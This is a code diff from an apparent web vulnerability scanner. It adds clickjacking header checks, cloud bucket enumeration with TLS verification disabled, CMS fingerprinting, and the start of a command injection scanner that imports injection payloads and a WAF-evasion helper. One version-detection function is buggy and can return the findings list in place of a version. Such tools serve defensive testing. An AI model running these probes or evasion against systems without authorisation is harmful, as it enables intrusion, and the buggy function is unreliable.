csp_protected = "frame-ancestors" in csp.lower()
|
| 62 |
+
|
| 63 |
+
if not xfo:
|
| 64 |
+
self.log("WARNING", "[Clickjacking] X-Frame-Options header is missing")
|
| 65 |
+
self.add_vuln(
|
| 66 |
+
title="Missing X-Frame-Options Header",
|
| 67 |
+
severity="Medium",
|
| 68 |
+
category="Clickjacking",
|
| 69 |
+
cvss_score=5.4,
|
| 70 |
+
description=f"The response from `{self.target}` does not include an "
|
| 71 |
+
"`X-Frame-Options` header. Without this header (or a CSP frame-ancestors "
|
| 72 |
+
"directive), the page can be embedded in an iframe on any origin, "
|
| 73 |
+
"enabling clickjacking attacks.",
|
| 74 |
+
remediation="Add to your web server configuration:\n"
|
| 75 |
+
" Nginx: add_header X-Frame-Options \"DENY\" always;\n"
|
| 76 |
+
" Apache: Header always set X-Frame-Options \"DENY\"\n"
|
| 77 |
+
"Or use CSP: Content-Security-Policy: frame-ancestors 'none';",
|
| 78 |
+
evidence="X-Frame-Options header missing from response",
|
| 79 |
+
request_details=f"GET {self.target}",
|
| 80 |
+
response_details="No X-Frame-Options header",
|
| 81 |
+
confidence="Confirmed",
|
| 82 |
+
)
|
| 83 |
+
elif xfo == "ALLOWALL" or xfo.startswith("ALLOW-FROM"):
|
| 84 |
+
self.add_vuln(
|
| 85 |
+
title=f"X-Frame-Options Set to Permissive Value: '{xfo}'",
|
| 86 |
+
severity="Medium",
|
| 87 |
+
category="Clickjacking",
|
| 88 |
+
cvss_score=4.3,
|
| 89 |
+
description=f"The `X-Frame-Options` header is set to `{xfo}`, which "
|
| 90 |
+
"may allow framing from specific or all origins depending on the value. "
|
| 91 |
+
"ALLOW-FROM is also deprecated and ignored by Chrome/Safari.",
|
| 92 |
+
remediation="Use X-Frame-Options: DENY or SAMEORIGIN. "
|
| 93 |
+
"For fine-grained control use CSP frame-ancestors instead.",
|
| 94 |
+
evidence=f"X-Frame-Options: {xfo}",
|
| 95 |
+
request_details=f"GET {self.target}",
|
| 96 |
+
response_details=f"X-Frame-Options: {xfo}",
|
| 97 |
+
confidence="High",
|
| 98 |
+
)
|
| 99 |
+
else:
|
| 100 |
+
self.log("SUCCESS", f"[Clickjacking] X-Frame-Options: {xfo}")
|
| 101 |
+
|
| 102 |
+
if not csp_protected:
|
| 103 |
+
if xfo_protected:
|
| 104 |
+
self.add_vuln(
|
| 105 |
+
title="CSP frame-ancestors Missing (X-Frame-Options Present as Fallback)",
|
| 106 |
+
severity="Low",
|
| 107 |
+
category="Clickjacking",
|
| 108 |
+
cvss_score=2.0,
|
| 109 |
+
description="X-Frame-Options is set correctly, but the CSP header does not "
|
| 110 |
+
"include `frame-ancestors`. CSP frame-ancestors supersedes X-Frame-Options "
|
| 111 |
+
"in modern browsers and provides finer-grained control.",
|
| 112 |
+
remediation="Add: Content-Security-Policy: frame-ancestors 'none'; "
|
| 113 |
+
"for defence-in-depth.",
|
| 114 |
+
evidence="CSP header present but no frame-ancestors directive",
|
| 115 |
+
request_details=f"GET {self.target}",
|
| 116 |
+
response_details="CSP missing frame-ancestors",
|
| 117 |
+
confidence="Medium",
|
| 118 |
+
)
|
| 119 |
+
else:
|
| 120 |
+
fa_match = re.search(r"frame-ancestors\s+([^;]+)", csp, re.I)
|
| 121 |
+
if fa_match:
|
| 122 |
+
fa_value = fa_match.group(1).strip()
|
| 123 |
+
if fa_value in ("*", "http: https:"):
|
| 124 |
+
self.add_vuln(
|
| 125 |
+
title=f"CSP frame-ancestors Allows All Origins: '{fa_value}'",
|
| 126 |
+
severity="High",
|
| 127 |
+
category="Clickjacking",
|
| 128 |
+
cvss_score=7.4,
|
| 129 |
+
description=f"The CSP `frame-ancestors` directive is set to `{fa_value}`, "
|
| 130 |
+
"allowing any origin to embed this page in an iframe.",
|
| 131 |
+
remediation="Set: frame-ancestors 'none'; or frame-ancestors 'self';",
|
| 132 |
+
evidence=f"frame-ancestors: {fa_value}",
|
| 133 |
+
payload=fa_value,
|
| 134 |
+
request_details=f"GET {self.target}",
|
| 135 |
+
response_details=f"CSP frame-ancestors: {fa_value}",
|
| 136 |
+
confidence="Confirmed",
|
| 137 |
+
)
|
| 138 |
+
else:
|
| 139 |
+
self.log("SUCCESS", f"[Clickjacking] CSP frame-ancestors: {fa_value}")
|
| 140 |
+
|
| 141 |
+
if has_framebusting and not (xfo_protected or csp_protected):
|
| 142 |
+
self.add_vuln(
|
| 143 |
+
title="JavaScript Framebusting Only — Bypassable Clickjacking Protection",
|
| 144 |
+
severity="Medium",
|
| 145 |
+
category="Clickjacking",
|
| 146 |
+
cvss_score=5.4,
|
| 147 |
+
description="The page relies solely on JavaScript-based framebusting code "
|
| 148 |
+
"(e.g. `if (top !== self) top.location = self.location`). "
|
| 149 |
+
"This can be bypassed via the `sandbox` attribute on iframes: "
|
| 150 |
+
"`<iframe sandbox='allow-forms' ...>`.",
|
| 151 |
+
remediation="Replace JavaScript framebusting with X-Frame-Options or "
|
| 152 |
+
"CSP frame-ancestors headers, which are enforced by the browser and "
|
| 153 |
+
"cannot be bypassed.",
|
| 154 |
+
evidence="JavaScript framebusting code detected in response body",
|
| 155 |
+
request_details=f"GET {self.target}",
|
| 156 |
+
response_details="Framebusting JS found, no header protection",
|
| 157 |
+
confidence="High",
|
| 158 |
+
)
|
| 159 |
+
elif has_framebusting:
|
| 160 |
+
self.log("INFO", "[Clickjacking] JavaScript framebusting also detected (defence-in-depth)")
|
| 161 |
+
|
| 162 |
+
if not xfo_protected and not csp_protected and not has_framebusting:
|
| 163 |
+
self.log("CRITICAL", "[Clickjacking] Page is fully unprotected against clickjacking!")
|
| 164 |
+
self.add_vuln(
|
| 165 |
+
title="Page Fully Unprotected Against Clickjacking",
|
| 166 |
+
severity="High",
|
| 167 |
+
category="Clickjacking",
|
| 168 |
+
cvss_score=7.4,
|
| 169 |
+
description=f"`{self.target}` has no X-Frame-Options, no CSP frame-ancestors, "
|
| 170 |
+
"and no JavaScript framebusting. Any external site can embed this page "
|
| 171 |
+
"in an invisible iframe and trick authenticated users into performing "
|
| 172 |
+
"unintended actions (e.g. transferring funds, changing settings).",
|
| 173 |
+
remediation="Add immediately: add_header X-Frame-Options \"DENY\" always; "
|
| 174 |
+
"and Content-Security-Policy: frame-ancestors 'none';",
|
| 175 |
+
evidence="No X-Frame-Options, no CSP frame-ancestors, no framebusting JS",
|
| 176 |
+
request_details=f"GET {self.target}",
|
| 177 |
+
response_details="Fully unprotected response",
|
| 178 |
+
confidence="Confirmed",
|
| 179 |
+
)
|
backend/scanners/cloud_scanner.py
ADDED
|
@@ -0,0 +1,62 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import urllib.request, urllib.error, ssl, socket
|
| 2 |
+
from scanners.base_scanner import BaseScanner
|
| 3 |
+
|
| 4 |
+
class CloudScanner(BaseScanner):
|
| 5 |
+
SCANNER_NAME = "Cloud Storage Enumerator (S3/Azure/GCP)"
|
| 6 |
+
|
| 7 |
+
def __init__(self, scan_id, target, domain, **kwargs):
|
| 8 |
+
super().__init__(scan_id, target, domain)
|
| 9 |
+
self._ctx = ssl.create_default_context()
|
| 10 |
+
self._ctx.check_hostname = False
|
| 11 |
+
self._ctx.verify_mode = ssl.CERT_NONE
|
| 12 |
+
|
| 13 |
+
# Clean domain for permutation (e.g., test.com -> test)
|
| 14 |
+
parts = self.domain.split('.')
|
| 15 |
+
self.base_name = parts[0] if len(parts) > 1 else self.domain
|
| 16 |
+
|
| 17 |
+
def check_bucket(self, url, provider_name):
|
| 18 |
+
try:
|
| 19 |
+
req = urllib.request.Request(url, headers={"User-Agent": "LarShield/2.0 Cloud-Enum"})
|
| 20 |
+
with urllib.request.urlopen(req, timeout=3, context=self._ctx) as resp:
|
| 21 |
+
body = resp.read().decode("utf-8", errors="ignore")
|
| 22 |
+
|
| 23 |
+
# Check for open bucket listings (XML)
|
| 24 |
+
if "<ListBucketResult" in body or "<Blobs>" in body:
|
| 25 |
+
self.log("CRITICAL", f"[Cloud] {provider_name} bucket is publicly listable: {url}")
|
| 26 |
+
self.add_vuln(
|
| 27 |
+
title=f"Publicly Accessible {provider_name} Bucket",
|
| 28 |
+
severity="Critical",
|
| 29 |
+
category="Cloud Security",
|
| 30 |
+
cvss_score=9.8,
|
| 31 |
+
description=f"A misconfigured {provider_name} bucket was found at `{url}`. It allows unauthenticated users to list all files, potentially exposing PII, backups, or source code.",
|
| 32 |
+
remediation=f"Immediately modify the {provider_name} IAM/ACL policies. Remove 'List' and 'Read' permissions for anonymous users or the public 'AllUsers' group."
|
| 33 |
+
)
|
| 34 |
+
elif resp.status in [200, 403]: # Even 403 means the bucket exists, which is info disclosure
|
| 35 |
+
pass
|
| 36 |
+
except urllib.error.HTTPError as e:
|
| 37 |
+
if e.code not in [404, 400, 403, 502, 503, 504]:
|
| 38 |
+
self.log("ERROR", f"[Cloud] Bucket check HTTP error: {e}")
|
| 39 |
+
except urllib.error.URLError as e:
|
| 40 |
+
if "getaddrinfo failed" not in str(e) and "Name or service not known" not in str(e):
|
| 41 |
+
self.log("ERROR", f"[Cloud] Bucket check URL error: {e}")
|
| 42 |
+
except Exception as e:
|
| 43 |
+
self.log("ERROR", f"[Cloud] Bucket check error: {e}")
|
| 44 |
+
|
| 45 |
+
def run(self):
|
| 46 |
+
self.log("INFO", f"[Cloud] Enumerating misconfigured cloud storage for '{self.base_name}'...")
|
| 47 |
+
|
| 48 |
+
# Common bucket mutations
|
| 49 |
+
suffixes = ["", "-prod", "-dev", "-staging", "-assets", "-backup", "-static", "-public"]
|
| 50 |
+
|
| 51 |
+
for suffix in suffixes:
|
| 52 |
+
bucket_name = f"{self.base_name}{suffix}"
|
| 53 |
+
|
| 54 |
+
# AWS S3
|
| 55 |
+
self.check_bucket(f"https://{bucket_name}.s3.amazonaws.com/", "AWS S3")
|
| 56 |
+
# GCP Storage
|
| 57 |
+
self.check_bucket(f"https://storage.googleapis.com/{bucket_name}/", "GCP Storage")
|
| 58 |
+
# Azure Blob
|
| 59 |
+
self.check_bucket(f"https://{bucket_name}.blob.core.windows.net/?comp=list", "Azure Blob")
|
| 60 |
+
|
| 61 |
+
self.log("SUCCESS" if not self.vulns else "WARNING", "[Cloud] Enumeration complete.")
|
| 62 |
+
return self.vulns
|
backend/scanners/cms_scanner.py
ADDED
|
@@ -0,0 +1,207 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
cms_scanner.py — CMS Detection & Vulnerability Scanner
|
| 3 |
+
=======================================================
|
| 4 |
+
Detects popular CMS platforms (WordPress, Drupal, Joomla) and checks
|
| 5 |
+
for exposed admin panels, sensitive endpoints (xmlrpc.php), and known
|
| 6 |
+
fingerprints.
|
| 7 |
+
"""
|
| 8 |
+
import re
|
| 9 |
+
from scanners.base_scanner import BaseScanner
|
| 10 |
+
from utils.fingerprint_db import match_tech, find_cves
|
| 11 |
+
|
| 12 |
+
CMS_FINGERPRINTS = {
|
| 13 |
+
"WordPress": [
|
| 14 |
+
("/wp-login.php", "wp-submit"),
|
| 15 |
+
("/xmlrpc.php", "XML-RPC server accepts POST requests only"),
|
| 16 |
+
("/wp-json/wp/v2/users", "slug"),
|
| 17 |
+
("/wp-admin/", "wp-admin"),
|
| 18 |
+
("/wp-content/", "wp-content"),
|
| 19 |
+
],
|
| 20 |
+
"Drupal": [
|
| 21 |
+
("/user/login", "form_id\" value=\"user_login"),
|
| 22 |
+
("/CHANGELOG.txt", "Drupal"),
|
| 23 |
+
("/sites/default/files/", "Drupal"),
|
| 24 |
+
("/core/", "Drupal"),
|
| 25 |
+
],
|
| 26 |
+
"Joomla": [
|
| 27 |
+
("/administrator/", "Joomla!"),
|
| 28 |
+
("/components/", "option="),
|
| 29 |
+
("/modules/", "mod_"),
|
| 30 |
+
],
|
| 31 |
+
"Magento": [
|
| 32 |
+
("/admin/", "Magento"),
|
| 33 |
+
("/static/version", "version"),
|
| 34 |
+
("/skin/frontend/", "Magento"),
|
| 35 |
+
],
|
| 36 |
+
"Shopify": [
|
| 37 |
+
("/admin/", "Shopify"),
|
| 38 |
+
("/admin/auth/login", "shopify"),
|
| 39 |
+
],
|
| 40 |
+
"Squarespace": [
|
| 41 |
+
("/config/", "Squarespace"),
|
| 42 |
+
("/api/v1/", "squarespace"),
|
| 43 |
+
],
|
| 44 |
+
"Wix": [
|
| 45 |
+
("/_api/", "wix"),
|
| 46 |
+
("/wix-", "Wix"),
|
| 47 |
+
],
|
| 48 |
+
"Blogger": [
|
| 49 |
+
("/feeds/posts/default", "atom"),
|
| 50 |
+
("/blog-", "blogger"),
|
| 51 |
+
],
|
| 52 |
+
"Ghost": [
|
| 53 |
+
("/ghost/", "Ghost"),
|
| 54 |
+
("/ghost/api/", "ghost"),
|
| 55 |
+
],
|
| 56 |
+
"TYPO3": [
|
| 57 |
+
("/typo3/", "TYPO3"),
|
| 58 |
+
("/typo3conf/", "typo3"),
|
| 59 |
+
],
|
| 60 |
+
"PrestaShop": [
|
| 61 |
+
("/admin/", "PrestaShop"),
|
| 62 |
+
("/js/tools.js", "PrestaShop"),
|
| 63 |
+
],
|
| 64 |
+
"Django CMS": [
|
| 65 |
+
("/admin/", "django"),
|
| 66 |
+
("/cms/", "cms"),
|
| 67 |
+
],
|
| 68 |
+
}
|
| 69 |
+
|
| 70 |
+
CMS_VERSION_PATTERNS = {
|
| 71 |
+
"WordPress": [
|
| 72 |
+
(r'<meta name="generator" content="WordPress ([0-9.]+)"', "meta generator"),
|
| 73 |
+
(r'ver=([0-9.]+)"', "script param"),
|
| 74 |
+
(r'/wp-includes/js/wp-embed.min.js\?ver=([0-9.]+)', "wp-embed"),
|
| 75 |
+
],
|
| 76 |
+
"Drupal": [
|
| 77 |
+
(r'Drupal ([0-9.]+)', "footer"),
|
| 78 |
+
(r'<meta name="generator" content="Drupal ([0-9.]+)"', "meta generator"),
|
| 79 |
+
],
|
| 80 |
+
"Joomla": [
|
| 81 |
+
(r'<meta name="generator" content="Joomla! ([0-9.]+)"', "meta generator"),
|
| 82 |
+
(r'Joomla! ([0-9.]+)', "body"),
|
| 83 |
+
],
|
| 84 |
+
"Magento": [
|
| 85 |
+
(r'Magento[,\s]+([0-9.]+)', "header"),
|
| 86 |
+
(r'version/[0-9.]+', "static url"),
|
| 87 |
+
],
|
| 88 |
+
"Ghost": [
|
| 89 |
+
(r'<meta name="generator" content="Ghost ([0-9.]+)"', "meta generator"),
|
| 90 |
+
(r'Ghost ([0-9.]+)', "body"),
|
| 91 |
+
],
|
| 92 |
+
}
|
| 93 |
+
|
| 94 |
+
|
| 95 |
+
class CmsScanner(BaseScanner):
|
| 96 |
+
SCANNER_NAME = "CMS Security Scanner"
|
| 97 |
+
_SCANNER_KEY = "cms"
|
| 98 |
+
|
| 99 |
+
def run(self) -> list:
|
| 100 |
+
self.log("INFO", f"[CMS] Fingerprinting CMS and common vulnerabilities on {self.target}...")
|
| 101 |
+
base_url = self.target.rstrip("/")
|
| 102 |
+
|
| 103 |
+
body, status, _ = self._make_request(
|
| 104 |
+
self.target,
|
| 105 |
+
timeout=10,
|
| 106 |
+
return_response_obj=True,
|
| 107 |
+
)
|
| 108 |
+
if status == 0:
|
| 109 |
+
self.log("WARNING", "[CMS] Could not reach target.")
|
| 110 |
+
return self.vulns
|
| 111 |
+
|
| 112 |
+
detected_cms = set()
|
| 113 |
+
for cms_name, tests in CMS_FINGERPRINTS.items():
|
| 114 |
+
for path, expected in tests:
|
| 115 |
+
test_url = base_url + path
|
| 116 |
+
test_body, test_status, _ = self._make_request(
|
| 117 |
+
test_url,
|
| 118 |
+
timeout=5,
|
| 119 |
+
return_response_obj=True,
|
| 120 |
+
)
|
| 121 |
+
if test_status in (200, 401, 403) and test_body and expected in test_body:
|
| 122 |
+
# PHASE 1: Suppress SPA catch-all responses for 200 status
|
| 123 |
+
if test_status == 200 and self._is_baseline(test_status, test_body):
|
| 124 |
+
self.log("INFO", f"[CMS] SUPPRESSED (baseline match): {test_url}")
|
| 125 |
+
continue
|
| 126 |
+
if cms_name not in detected_cms:
|
| 127 |
+
detected_cms.add(cms_name)
|
| 128 |
+
self.log("INFO", f"[CMS] Detected {cms_name} via {path}")
|
| 129 |
+
self._report(cms_name, path, test_status)
|
| 130 |
+
|
| 131 |
+
if detected_cms:
|
| 132 |
+
for cms_name in detected_cms:
|
| 133 |
+
version = self._detect_version(body, cms_name)
|
| 134 |
+
if version:
|
| 135 |
+
self.log("INFO", f"[CMS] {cms_name} version detected: {version}")
|
| 136 |
+
self.add_vuln(
|
| 137 |
+
title=f"{cms_name} Version Detected: {version}",
|
| 138 |
+
severity="Low",
|
| 139 |
+
category="CMS Fingerprint",
|
| 140 |
+
cvss_score=0.0,
|
| 141 |
+
description=f"The {cms_name} installation was detected with version {version}.",
|
| 142 |
+
remediation="Ensure the CMS is kept up to date with the latest security patches.",
|
| 143 |
+
evidence=f"Version: {version}",
|
| 144 |
+
confidence="Confirmed",
|
| 145 |
+
)
|
| 146 |
+
|
| 147 |
+
cves = find_cves(cms_name, version)
|
| 148 |
+
if cves:
|
| 149 |
+
cve_ids = [c["cve"] for c in cves]
|
| 150 |
+
self.log("WARNING", f"[CMS] Known CVEs for {cms_name} {version}: {', '.join(cve_ids)}")
|
| 151 |
+
self.add_vuln(
|
| 152 |
+
title=f"Known CVEs for {cms_name} {version}",
|
| 153 |
+
severity="High", category="CMS Vulnerability", cvss_score=max(c["cvss"] for c in cves),
|
| 154 |
+
description=f"Version {version} of {cms_name} has {len(cves)} known CVE(s): {', '.join(cve_ids)}.",
|
| 155 |
+
remediation=f"Upgrade {cms_name} to the latest version.",
|
| 156 |
+
evidence=f"CVEs: {', '.join(cve_ids)}",
|
| 157 |
+
confidence="Confirmed",
|
| 158 |
+
cve_ids=cve_ids,
|
| 159 |
+
)
|
| 160 |
+
|
| 161 |
+
if not self.vulns:
|
| 162 |
+
self.log("SUCCESS", "[CMS] No vulnerable/exposed CMS endpoints detected.")
|
| 163 |
+
return self.vulns
|
| 164 |
+
|
| 165 |
+
def _detect_version(self, body, cms_name):
|
| 166 |
+
patterns = CMS_VERSION_PATTERNS.get(cms_name, [])
|
| 167 |
+
for pattern, source in patterns:
|
| 168 |
+
m = re.search(pattern, body, re.IGNORECASE)
|
| 169 |
+
if m:
|
| 170 |
+
return m.group(1)
|
| 171 |
+
return self.vulns
|
| 172 |
+
def _report(self, cms_name, path, status):
|
| 173 |
+
if "xmlrpc.php" in path:
|
| 174 |
+
self.add_vuln(
|
| 175 |
+
title=f"{cms_name} XML-RPC API Exposed",
|
| 176 |
+
severity="Medium",
|
| 177 |
+
category="CMS Vulnerability",
|
| 178 |
+
cvss_score=5.3,
|
| 179 |
+
description=f"The `{cms_name}` XML-RPC endpoint is accessible at `{path}`. "
|
| 180 |
+
"This endpoint is frequently abused for brute-force attacks and Pingback SSRF attacks.",
|
| 181 |
+
remediation="Disable XML-RPC by deleting `xmlrpc.php` or blocking it via `.htaccess` / Nginx config if not actively used.",
|
| 182 |
+
confidence="Confirmed",
|
| 183 |
+
response_details=f"HTTP {status}",
|
| 184 |
+
)
|
| 185 |
+
elif "wp-json/wp/v2/users" in path:
|
| 186 |
+
self.add_vuln(
|
| 187 |
+
title=f"{cms_name} REST API User Enumeration",
|
| 188 |
+
severity="Medium",
|
| 189 |
+
category="Information Disclosure",
|
| 190 |
+
cvss_score=5.3,
|
| 191 |
+
description=f"The `{cms_name}` REST API is exposing registered usernames at `{path}`. "
|
| 192 |
+
"This assists attackers in brute-forcing administrator accounts.",
|
| 193 |
+
remediation="Restrict access to the REST API endpoints or use a plugin to disable user enumeration.",
|
| 194 |
+
confidence="Confirmed",
|
| 195 |
+
response_details=f"HTTP {status}",
|
| 196 |
+
)
|
| 197 |
+
else:
|
| 198 |
+
self.log("INFO", f"[CMS] Exposed {cms_name} admin/login path: {path} (HTTP {status})")
|
| 199 |
+
self.add_vuln(
|
| 200 |
+
title=f"Exposed {cms_name} Admin/Login Panel",
|
| 201 |
+
severity="Low",
|
| 202 |
+
category="Attack Surface",
|
| 203 |
+
cvss_score=0.0,
|
| 204 |
+
description=f"A `{cms_name}` installation was detected with an exposed panel at `{path}`.",
|
| 205 |
+
remediation="Ensure strong passwords and Two-Factor Authentication (2FA) are enabled.",
|
| 206 |
+
response_details=f"HTTP {status}",
|
| 207 |
+
)
|
backend/scanners/command_injection_scanner.py
ADDED
|
@@ -0,0 +1,386 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
command_injection_scanner.py — OS Command Injection Scanner
|
| 3 |
+
============================================================
|
| 4 |
+
Expert-grade active detection (GAP-005 fix):
|
| 5 |
+
1. GET query parameter injection (reflection-based)
|
| 6 |
+
2. POST form parameter injection
|
| 7 |
+
3. HTTP header injection (User-Agent, Referer, X-Forwarded-For)
|
| 8 |
+
4. Blind timing-based detection (sleep 5 — no output needed)
|
| 9 |
+
5. Windows + Linux payloads + PowerShell
|
| 10 |
+
6. OOB DNS/HTTP callback marker (for future Interactsh integration)
|
| 11 |
+
7. Multi-stage detection: time-based probe → error-based confirm
|
| 12 |
+
8. JSON POST body parameter injection
|
| 13 |
+
|
| 14 |
+
FIXES (June 2026):
|
| 15 |
+
BUG-3: f-string literal bugs in description strings — {threshold} and {k}
|
| 16 |
+
were plain strings, not f-strings, so variables were never substituted.
|
| 17 |
+
BUG-14: Removed unused `import subprocess` (dead code, security red flag).
|
| 18 |
+
"""
|
| 19 |
+
import time, json, urllib.parse
|
| 20 |
+
from scanners.base_scanner import BaseScanner
|
| 21 |
+
from utils.anomaly import TimingAnomalyDetector, SizeAnomalyDetector
|
| 22 |
+
from utils.evasion import waf_evade
|
| 23 |
+
from utils.callback import build_callback_url
|
| 24 |
+
from utils.payload_library import get_cmd_payloads
|
| 25 |
+
|
| 26 |
+
# Use advanced payload library
|
| 27 |
+
CMD_PAYLOADS = get_cmd_payloads()
|
| 28 |
+
